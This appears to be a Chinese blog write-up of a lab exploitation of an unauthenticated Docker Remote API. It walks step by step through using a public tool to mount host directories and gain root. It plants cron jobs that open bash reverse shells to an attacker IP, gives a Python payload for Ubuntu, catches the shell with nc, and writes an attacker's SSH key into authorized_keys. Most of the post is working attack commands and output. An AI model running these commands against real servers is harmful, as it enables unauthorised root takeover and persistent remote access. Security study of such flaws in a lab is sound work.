0x00 前言
学习下这个Docker remote api漏洞,具体细节请参考http://drops.wooyun.org/papers/15892。 这里记录下我的实验过程,值得学习~~
0x01 环境配置
先关闭docker,然后开启:
1 | sudo service docker stop |
绑定Docker Remote Api
在指定端口(这里是2375),可以自行测试。 参考API规范进行渗透:https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/ 操作Docker API可以使用python dockert api
完成。
1 | pip install docker-py |
API使用参考:
1 | https://docker-py.readthedocs.io/en/stable/api/#client-api |
白帽社区给了个工具,请查看https://github.com/Tycx2ry/docker_api_vul 直接可以测试使用下:
列出镜像:
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -l
RepoTags: ubuntu:latest
接下来就是攻击利用了,这里关键用到了volume去挂载相关敏感目录,获得root shell
。接下来就说明下获取root
权限的方法。
0x02 定时任务反弹shell
查看任务列表:
1 | crontab -l |
写入任务到用户文件中,rethat与centos 为/tmp/spool/cron/root
1 | /bin/bash -c "echo \"*/1 * * * * 反弹shell \" >> /tmp/spool/cron/crontabs/root" |
每分钟便会执行一次反弹shell操作:
1 | */1 * * * * bash -i >& /dev/tcp/10.0.0.130/1234 0>&1 |
先看下服务器API版本:
1 | python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -V |
根据结果,修改Client端版本:
1 | python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -v 1.23 |
工具执行:
1 | python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -H 10.10.10.130 -P 1234 |
攻击主机nc,收到shell:
1 | nc -l -p 1234 -vvvv |
查看主机定时任务,得到如下:
1 | */1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1 |
删除任务:
1 | crontab -r |
相关问题记录
1.Ubuntu开通root账户:
启用root账户:
1 | sudo passwd root |
设置一个密码,然后还要开启root登录。
1 | sudo vi /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf |
允许ssh root登录:
1 | sudo vi /etc/ssh/sshd_config |
重启服务:
1 | sudo restart ssh |
2.ubuntu 运行定时反弹shell失败
ubuntu下需要重启cron服务或者系统,未成功执行。 找到针对Ubuntu系统级别的配置文件/etc/crontab
:
1 | # /etc/crontab: system-wide crontab |
Ubuntu的POC如下:
1 | payload = '/bin/bash -c "echo \\\"*/1 * * * * root /bin/bash -i >& /dev/tcp/'+lhsot+'/'+lport+' 0>&1\\\" >> /tmp2/crontab"' #ubuntu |
测试成功:
1 | python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -H 10.10.10.130 -P 1234 |
查看写入定时任务情况:
0x03 写ssh authorized_keys
将自己的公钥写到目标机器上。需要chmod 600
,才能被识别。
修改了下脚本:换成自己的密钥,并将authorized_keys
权限设置成600。
1 | if payload != '': |
如果没有.ssh
文件夹就不能成功。 实际如果遇到这种情况,可以直接用python API直接操作运行各种命令查看目录等操作。 测试时,提前运行生成了一下key:
1 | ssh-keygen -t rsa |
运行程序,成功添加公钥:
1 | python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -k |
具体细节可以阅读下工具源码,很好理解滴~~
0x04 参考
http://drops.wooyun.org/papers/15892
https://github.com/Tycx2ry/docker_api_vul
http://joychou.org/index.php/web/docker-remote-api-unauthorized-access.html